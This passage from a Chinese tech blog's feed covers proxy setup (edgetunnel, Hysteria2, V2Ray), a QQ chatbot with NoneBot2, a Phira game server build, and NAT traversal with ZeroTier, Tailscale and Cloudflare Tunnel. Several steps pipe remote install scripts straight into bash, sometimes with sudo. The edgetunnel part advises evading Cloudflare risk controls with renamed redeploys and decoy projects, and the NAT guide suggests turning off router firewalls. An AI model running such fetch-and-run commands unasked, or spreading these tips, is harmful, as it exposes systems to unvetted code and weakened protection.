&lt;li&gt;&lt;strong&gt;注意！edgetunnel近期在Cloudflare新号上可能会报错1101，这可能并不是你的配置问题，而是被cf风控了。解决方案是删除原项目重新部署一遍，不要用一样的项目名！你也可以多弄几个其他的正常pages或workers项目做伪装！博主使用新号实测被gank了3次（每一次都换名字删除pages然后重新部署），然后一直稳定到现在&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本人实测在全天使用edgetunnel的情况下已经使用了大部分的配额，所以请不要将自己的项目分享给别人，也不要拿去卖！自己注册简简单单！&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;如图为博主半天的使用量：我只是上了上Telegram~&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-11-26-16-07-50-image.BxMHVR0E.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;将你自己的国外VPS作为代理使用&lt;/h1&gt;
&lt;h2&gt;使用新协议：Hysteria2&lt;/h2&gt;
&lt;p&gt;可以前往这两个仓库进行一键安装~&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/0x0129/hysteria2&quot;&gt;https://github.com/0x0129/hysteria2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/seagullz4/hysteria2&quot;&gt;https://github.com/seagullz4/hysteria2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;大致安装过程：自签名，不使用acme，不使用端口跳跃&lt;/p&gt;
&lt;p&gt;客户端（Hiddify）：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/hiddify/hiddify-app&quot;&gt;https://github.com/hiddify/hiddify-app&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其他客户端在第二个Github Repo获取&lt;/p&gt;
&lt;h2&gt;使用旧协议：V2Ray&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/233boy/v2ray&quot;&gt;https://github.com/233boy/v2ray&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;VPS安装脚本：&lt;code&gt;bash &amp;lt;(curl -s -L https://git.io/v2ray.sh)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;详细安装：脚本执行完毕后输入&lt;code&gt;v2ray&lt;/code&gt;更改配置为Shadowsocks&lt;/p&gt;
&lt;p&gt;Windows客户端： &lt;a href=&quot;https://github.com/2dust/v2rayN/releases&quot;&gt;Releases · 2dust/v2rayN · GitHub&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Android客户端： &lt;a href=&quot;https://github.com/2dust/v2rayNG/releases&quot;&gt;Releases · 2dust/v2rayNG · GitHub&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>使用NoneBot2搭建你的QQBot！</title><link>https://2x.nz/posts/qqbot/</link><guid isPermaLink="true">https://2x.nz/posts/qqbot/</guid><description>使用NapCat连接NoneBot2，打造自己的聊天机器人</description><pubDate>Tue, 19 Nov 2024 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;安装 NapCat(Win)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;用于登录 QQ 实现收发消息&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;a href=&quot;https://github.com/NapNeko/NapCatQQ/releases/latest&quot;&gt;Release NapCat V4.1.12 · NapNeko/NapCatQQ · GitHub&lt;/a&gt;，下载&lt;code&gt;NapCat.Shell.zip&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将其解压到一个单独的文件夹，然后打开命令行，运行&lt;code&gt;launcher.bat &amp;lt;BOT QQ号&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;运行后通过手机扫码登录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;它会打印本地控制台的地址信息，如：&lt;code&gt;[NapCat] [WebUi] WebUi Local Panel Url: http://127.0.0.1:6099/webui?token=4xldg5fqb1&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;直接进入，如图配置即可（端口号可以自己修改，但是要和下部分NoneBot2监听的端口一致。这里是9090）&lt;img src=&quot;https://2x.nz/_astro/2024-11-20-19-21-21-2024-11-20-19-15-39-image.D0-T-Z0E.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;安装 NoneBot2&lt;/h1&gt;
&lt;p&gt;用于实现逻辑，控制 NapCat 收发消息&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先，你得装&lt;a href=&quot;https://www.python.org/downloads/&quot;&gt;Python&lt;/a&gt;。Windows可以使用 https://scoop.sh/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pypi 清华源：&lt;code&gt;pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;装 pipx：&lt;code&gt;pip install pipx&lt;/code&gt;。你也可以使用&lt;code&gt;scoop install pipx&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;设置 pipx 全局变量：&lt;code&gt;pipx ensurepath&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;装 nb-cli：&lt;code&gt;pipx install nb-cli&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;如果找不到 nb 命令：&lt;/strong&gt; 对于 root 用户，你可以编辑 &lt;code&gt;/root/.bashrc&lt;/code&gt; 或 &lt;code&gt;/root/.profile&lt;/code&gt;（如果你使用的是 Bash）： &lt;code&gt;nano /root/.bashrc&lt;/code&gt; 添加以下行： &lt;code&gt;export PATH=&quot;$HOME/.local/bin:$PATH&quot;&lt;/code&gt; 保存并重新加载配置： &lt;code&gt;source /root/.bashrc&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;装 nb bootstrap：&lt;code&gt;nb self install nb-cli-plugin-bootstrap&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;新建项目，选一个你喜欢的文件夹，然后：&lt;code&gt;nb bs&lt;/code&gt; （看不懂的就一路回车）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\afbot&amp;gt;nb bs
加载适配器列表中……
请输入项目名称
[?] 请输入 &amp;gt; onanibot
[?] 请选择你想要使用的适配器 OneBot V11 (OneBot V11 协议)
请输入 Bot 超级用户，超级用户拥有对 Bot 的最高权限（如对接 QQ 填 QQ 号即可）（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 Bot 昵称，消息以 Bot 昵称开头可以代替艾特（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 Bot 命令起始字符，消息以起始符开头将被识别为命令，
如果有一个指令为 查询，当该配置项中有 &quot;/&quot; 时使用 &quot;/查询&quot; 才能够触发，
留空将使用默认值 [&apos;&apos;, &apos;/&apos;, &apos;#&apos;]（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 Bot 命令分隔符，一般用于二级指令，
留空将使用默认值 [&apos;.&apos;, &apos; &apos;]（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 NoneBot2 监听地址，如果要对公网开放，改为 0.0.0.0 即可
[?] 请输入 &amp;gt; 127.0.0.1
请输入 NoneBot2 监听端口，范围 1 ~ 65535，请保证该端口号与连接端配置相同，或与端口映射配置相关
[?] 请输入 &amp;gt; 8080
[?] 是否在项目目录中释出快捷启动脚本？ Yes
[?] 是否将 localstore 插件的存储路径重定向到项目路径下以便于后续迁移 Bot？ Yes
[?] 是否使用超级用户 Ping 指令回复插件？ Yes
[?] 是否安装 logpile 插件提供日志记录到文件功能？ Yes
[?] 是否在启动脚本中使用 webui 插件启动项目以使用网页管理 NoneBot？（该插件仍在开发中，不推荐用于生产环境） No
成功新建项目 onanibot
[?] 是否新建虚拟环境？ Yes
正在 C:\afbot\onanibot\.venv 中创建虚拟环境
创建虚拟环境成功
[?] 是否需要修改或清除 pip 的 PyPI 镜像源配置？ No
[?] 是否立即安装项目依赖？ Yes
正在安装项目依赖
依赖安装成功
[?] 请选择需要启用的内置插件
项目配置完毕，开始使用吧！
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;项目创建完毕后启动：&lt;code&gt;nb run&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;出现：&lt;code&gt;[INFO] nonebot | OneBot V11 | Bot XXXXXXXXXX connected&lt;/code&gt; 你就成功连接上 Lagrange 了&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;测试，发个&lt;code&gt;/ping&lt;/code&gt;，看是否出现Pong~&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果你要调试 NoneBot2，请先使用&lt;code&gt;nb&lt;/code&gt; 进入虚拟环境。然后使用&lt;code&gt;pip install &amp;lt;包名&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Phira多人联机服务器搭建/使用教程</title><link>https://2x.nz/posts/phira-mp/</link><guid isPermaLink="true">https://2x.nz/posts/phira-mp/</guid><description>懒人可以直接下载预构建的可执行文件，但如果想获得日志需要自备Rust环境</description><pubDate>Tue, 05 Nov 2024 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;直接下载服务端文件并运行&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/afoim/phira-mp-autobuild&quot;&gt;https://github.com/afoim/phira-mp-autobuild&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里有一些由Github Action自动构建的服务端文件，涵盖以下系统和架构&lt;img src=&quot;https://2x.nz/_astro/2024-11-06-08-28-34-image.C2T2Itdr.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也可以前往&lt;a href=&quot;https://phira.dmocken.top/Multiplayer%20Server%E5%A4%9A%E4%BA%BA%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8&quot;&gt;Multiplayer Server | Dmocken的Phira下载站&lt;/a&gt;自行寻找&lt;/p&gt;
&lt;p&gt;寻找适用于你的系统的文件，下载下来并执行即可。默认服务端将会在你的主机12346端口上开放，如果需要自定义端口，请使用&lt;code&gt;--port&lt;/code&gt;参数指定端口。然后即可使用Phira来填写IP/域名:端口来连接&lt;/p&gt;
&lt;p&gt;*如果要显示Log，请使用 &lt;code&gt;RUST_LOG=debug ./xxx&lt;/code&gt; 去运行，默认日志等级是 &lt;code&gt;WARN&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果这些文件不适用于你正在使用的系统请前往&lt;a href=&quot;#%E8%87%AA%E8%A1%8C%E6%9E%84%E5%BB%BA%E9%AB%98%E7%BA%A7&quot;&gt;自行构建（高级）&lt;/a&gt;继续阅读&lt;/p&gt;
&lt;h1&gt;自行构建（高级）&lt;/h1&gt;
&lt;p&gt;由于phira-mp使用Rust编写，若想要自行构建需要在你的操作系统上安装Rust环境&lt;/p&gt;
&lt;h2&gt;对于Windows&lt;/h2&gt;
&lt;p&gt;前往&lt;a href=&quot;https://www.rust-lang.org/zh-CN/learn/get-started&quot;&gt;Rust 下载页&lt;/a&gt;，下载 Rust  &lt;img src=&quot;https://2x.nz/_astro/2024-11-06-09-57-44-6b333b87e835dfa299b0c3c95e5ea4e0.TFovQpXA.webp&quot; alt=&quot;&quot; /&gt;
打开后会弹出一个 CMD 窗口，输入 1（Quick Install）回车，等待 Visual Studio 安装（如果此步 Visual Studio 下载很慢也可以&lt;a href=&quot;https://visualstudio.microsoft.com/zh-hans/downloads/&quot;&gt;手动下载&lt;/a&gt;）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-11-06-09-57-49-61b4d36dc8cd1ce47da66be5e2a920cd.BzeZmvUI.webp&quot; alt=&quot;&quot; /&gt;在 Visual Studio 中，勾选&lt;strong&gt;使用 C++ 的桌面开发&lt;/strong&gt;，然后安装&lt;br /&gt;
&lt;img src=&quot;https://2x.nz/_astro/2024-11-06-09-58-05-390c775c83dc245b0690fda699bfee5f.6UBvobNn.webp&quot; alt=&quot;&quot; /&gt;然后请跳过 Linux 教程直接阅读&lt;a&gt;构建 phira-mp&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;对于Linux&lt;/h2&gt;
&lt;p&gt;执行：&lt;code&gt;curl --proto &apos;=https&apos; --tlsv1.2 -sSf https://sh.rustup.rs | sh&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;选择 1 回车&lt;/p&gt;
&lt;p&gt;执行：&lt;code&gt;source $HOME/.cargo/env&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;使用Rust构建phira-mp&lt;/h1&gt;
&lt;p&gt;克隆仓库：&lt;code&gt;git clone https://github.com/TeamFlos/phira-mp.git&lt;/code&gt;（不支持IPv6）或&lt;code&gt;git clone https://github.com/afoim/phira-mp-autobuild.git&lt;/code&gt;（支持IPv6）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cd phira-mp&lt;/code&gt;或&lt;code&gt;cd phira-mp-autobuild&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;更新依赖：&lt;code&gt;cargo update&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;构建：&lt;code&gt;cargo build --release -p phira-mp-server&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;运行程序并将 log 打印到终端，会显示你监听的端口：&lt;code&gt;RUST_LOG=info target/release/phira-mp-server&lt;/code&gt;&lt;br /&gt;
（如果你需要指定端口号：&lt;code&gt;RUST_LOG=info target/release/phira-mp-server --port 8080&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-11-06-10-14-36-0dce4358b21773ae1261e7fc39339c32.CKG5WT3b.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>究极喂饭教程，手把手教你内网穿透</title><link>https://2x.nz/posts/across-nat/</link><guid isPermaLink="true">https://2x.nz/posts/across-nat/</guid><description>使用Zerotier，Tailscale，Cloudflare Tunnel可以实现多种内网穿透，其中有适用于个人访问的，也有适用于公众访问的</description><pubDate>Sun, 27 Oct 2024 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;经实测，Zerotier的打洞能力明显优于Tailscale，所以建议通过Zerotier来实现内网穿透&lt;/h1&gt;
&lt;p&gt;详细报表：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Zerotier&lt;/th&gt;
&lt;th&gt;Tailscale&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;单端DMZ（单端NAT1）&lt;/td&gt;
&lt;td&gt;STUN&lt;/td&gt;
&lt;td&gt;STUN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;仅单端UPnP（单端NAT3）&lt;/td&gt;
&lt;td&gt;UDP P2P&lt;/td&gt;
&lt;td&gt;玄学穿透&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;双端UPnP（双端NAT3）&lt;/td&gt;
&lt;td&gt;UDP P2P&lt;/td&gt;
&lt;td&gt;玄学穿透&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;双端无UPnP/DMZ（双端NAT3/NAT4）&lt;/td&gt;
&lt;td&gt;UDP P2P&lt;/td&gt;
&lt;td&gt;无法穿透&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;自建中继/握手节点&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;其实实际情况会更加复杂一点，但是你只要有 &lt;strong&gt;公网IPv6、UPnP、DMZ&lt;/strong&gt; 中的其中一项，Zerotier就几乎是100%的打洞成功率&lt;/p&gt;
&lt;p&gt;如何知道我是P2P还是中继？
ping你的对端设备，如果延迟大于200ms或者经常丢包大概率就是中继节点（也有小概率是你的设备负载过高导致无法及时接收和返回ping包）&lt;/p&gt;
&lt;h1&gt;啥是内网穿透？&lt;/h1&gt;
&lt;p&gt;当我们在家中有个NAS，想要在学校/公司的网络来访问，就需要用到内网穿透，实现外网访问内网服务。原理一般是P2P打洞和服务器中转流量&lt;/p&gt;
&lt;h1&gt;前期准备&lt;/h1&gt;
&lt;p&gt;路由器开启UPnP&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-08-00-image.CLE3uadi.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;关闭路由器的IPv4，IPv6防火墙 &lt;strong&gt;（可选）&lt;/strong&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-09-19-image._j_sEdc3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;em&gt;使用Zerotier/Tailscale进行内网穿透&lt;/em&gt;&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;他们俩的原理都是尝试对端建立P2P连接，需要对端安装一个软件并且长期运行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;使用Zerotier进行内网穿透的详细教程&lt;/h1&gt;
&lt;h2&gt;创建Zerotier账号&lt;/h2&gt;
&lt;p&gt;前往：&lt;a href=&quot;https://www.zerotier.com/&quot;&gt;ZeroTier | Global Networking Solution for IoT, SD-WAN, and VPN&lt;/a&gt;。如果你进不去，请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-12-51-image.DfGW5B-L.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择 &lt;code&gt;Sign up&lt;/code&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-13-06-image.CMMl8jkO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你到了这个界面，请仍然选择&lt;code&gt;Sign up&lt;/code&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-15-08-image.CT2uU_-J.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-16-52-image.Uu0MtFmB.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;账号创建完毕后，登录即可&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-17-47-image.B08w_uzQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;创建一个新的Zerotier网络组&lt;/h2&gt;
&lt;p&gt;当你账号登录成功后，会自动跳转到这个页面，点击&lt;code&gt;Create A Network&lt;/code&gt;。如果没有，请访问&lt;a href=&quot;https://my.zerotier.com/&quot;&gt;ZeroTier Central&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-20-24-image.J_NBk4rD.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下面的列表会增加一个新的网络组，点击它&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-21-31-image.KhDJ0zUH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Zerotier默认的网络组模式为&lt;code&gt;Private&lt;/code&gt;。即私密模式，哪怕别人知道了你的&lt;code&gt;Network ID&lt;/code&gt;尝试加入你的网络组也需要你进行验证&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-22-38-image.BxVkL9Cf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;复制这个&lt;code&gt;Network ID&lt;/code&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-22-13-image.BeelcpNr.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;在设备上安装Zerotier应用&lt;/h1&gt;
&lt;h2&gt;Windows：&lt;/h2&gt;
&lt;p&gt;前往&lt;a href=&quot;https://www.zerotier.com/download/&quot;&gt;Download - ZeroTier&lt;/a&gt;，下载exe安装文件&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-25-52-image.DHJeyrZm.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开Zerotier&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-27-20-image.Bqu2efBW.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看右下角托盘，按照图片操作加入网络组&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-28-20-image.LBOTt9ci.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-29-12-image.Cxw6bX7_.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-30-26-image.CivgUlIs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里可以查询到你的设备ID和你在这个网络组的IP&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-03-19-image.CYcSXUVD.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后参考：&lt;a href=&quot;#zerotier%E6%8E%88%E6%9D%83%E8%AE%BE%E5%A4%87&quot;&gt;Zerotier授权设备&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Linux（飞牛OS）：&lt;/h2&gt;
&lt;p&gt;通过SSH连接上你的Linux设备&lt;/p&gt;
&lt;p&gt;查看安装命令：&lt;a href=&quot;https://www.zerotier.com/download/&quot;&gt;Download - ZeroTier&lt;/a&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-38-19-image.B5S_eokt.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;终端执行： &lt;code&gt;curl -s https://install.zerotier.com | sudo bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;看到这一行即安装完毕，后面那一串即你的设备ID：&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-39-23-image.Cgqccfxz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;加入网络：&lt;code&gt;sudo zerotier-cli join 你的Network ID&lt;/code&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-42-01-image.CE_FWquz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后参考：&lt;a href=&quot;#zerotier%E6%8E%88%E6%9D%83%E8%AE%BE%E5%A4%87&quot;&gt;Zerotier授权设备&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Android（安卓）&lt;/h2&gt;
&lt;p&gt;下载客户端&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Zerotier One：&lt;a href=&quot;https://apkpure.net/zerotier-one/com.zerotier.one&quot;&gt;ZeroTier One APK Download for Android - Latest Version&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ZerotierFix：&lt;a href=&quot;https://github.com/kaaass/ZerotierFix/releases&quot;&gt;Releases · kaaass/ZerotierFix&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如图操作&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-59-06-image.DrNd1p7K.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-59-46-image.BslwY5bF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后参考：&lt;a href=&quot;#zerotier%E6%8E%88%E6%9D%83%E8%AE%BE%E5%A4%87&quot;&gt;Zerotier授权设备&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Zerotier授权设备&lt;/h1&gt;
&lt;p&gt;前往Zerotier的网页控制台：&lt;a href=&quot;%5Bhttps://my.zerotier.com/%5D(https://my.zerotier.com/)&quot;&gt;ZeroTier Central&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;授权刚才加入的设备&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-31-51-image.Cal2BLS4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;勾选然后保存&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-17-33-10-image.VILxP0eV.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Zerotier访问测试&lt;/h1&gt;
&lt;p&gt;如果你同一个网络组里已经有两台以上的设备了，可以尝试ping一下测试连通性，请先确保两台设备不在同一个局域网（比如手机开流量，NAS用家里的无线网）&lt;/p&gt;
&lt;p&gt;IP可以在这里查看&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-02-00-image.BgZQPo3f.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ping测试：&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-07-13-image.sGq9OqKl.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;使用Tailscale进行内网穿透的详细教程&lt;/h1&gt;
&lt;h2&gt;创建Tailscale账号&lt;/h2&gt;
&lt;p&gt;前往：&lt;a href=&quot;https://login.tailscale.com/start&quot;&gt;Tailscale&lt;/a&gt;。如果你进不去，请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能&lt;/p&gt;
&lt;p&gt;选择任意一个登录方式&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-24-32-image.DBmypcBK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;账号创建完毕后，登录即可&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;在设备上安装Tailscale应用&lt;/h1&gt;
&lt;h2&gt;Windows：&lt;/h2&gt;
&lt;p&gt;前往&lt;a href=&quot;https://tailscale.com/download&quot;&gt;Download · Tailscale&lt;/a&gt;，下载exe安装文件&lt;/p&gt;
&lt;p&gt;官方教程：&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-31-48-image.hrD9q61d.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Linux（飞牛OS）：&lt;/h2&gt;
&lt;p&gt;通过SSH连接上你的Linux设备&lt;/p&gt;
&lt;p&gt;查看安装命令：&lt;a href=&quot;https://tailscale.com/download/linux&quot;&gt;Download · Tailscale&lt;/a&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-32-58-image.BNSsXZCu.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;终端执行： &lt;code&gt;curl -fsSL https://tailscale.com/install.sh | sh&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;等待安装完毕后输入：&lt;code&gt;tailscale login&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;打开弹出的浏览器窗口，登录你的账号即可&lt;/p&gt;
&lt;h2&gt;Android（安卓）&lt;/h2&gt;
&lt;p&gt;下载客户端（Google Play）：&lt;a href=&quot;https://tailscale.com/download/android&quot;&gt;Download · Tailscale&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;登录你的账号即可&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Tailscale访问测试&lt;/h2&gt;
&lt;p&gt;前往Tailscale的网页控制台：&lt;a href=&quot;https://login.tailscale.com/admin/machines&quot;&gt;Machines - Tailscale&lt;/a&gt;。可以查看到每个设备Tailscale分配的IP&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-26-58-image.C563v8Fe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ping测试&lt;img src=&quot;https://2x.nz/_astro/2024-10-28-18-41-45-image.h87ZUYWQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;使用Cloudflare Tunnel进行内网穿透&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;这种方法可以不进行任何配置直接在公网上被访问，但是仅限Web服务。如果你想穿透游戏服务器等则不可用。你需要先将域名托管到Cloudflare&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;创建Cloudflare账号&lt;a href=&quot;https://dash.cloudflare.com/&quot;&gt;主页 | Cloudflare&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;进入&lt;a href=&quot;https://one.dash.cloudflare.com/&quot;&gt;Cloudflare One&lt;/a&gt;（需要绑定PayPal）&lt;/p&gt;
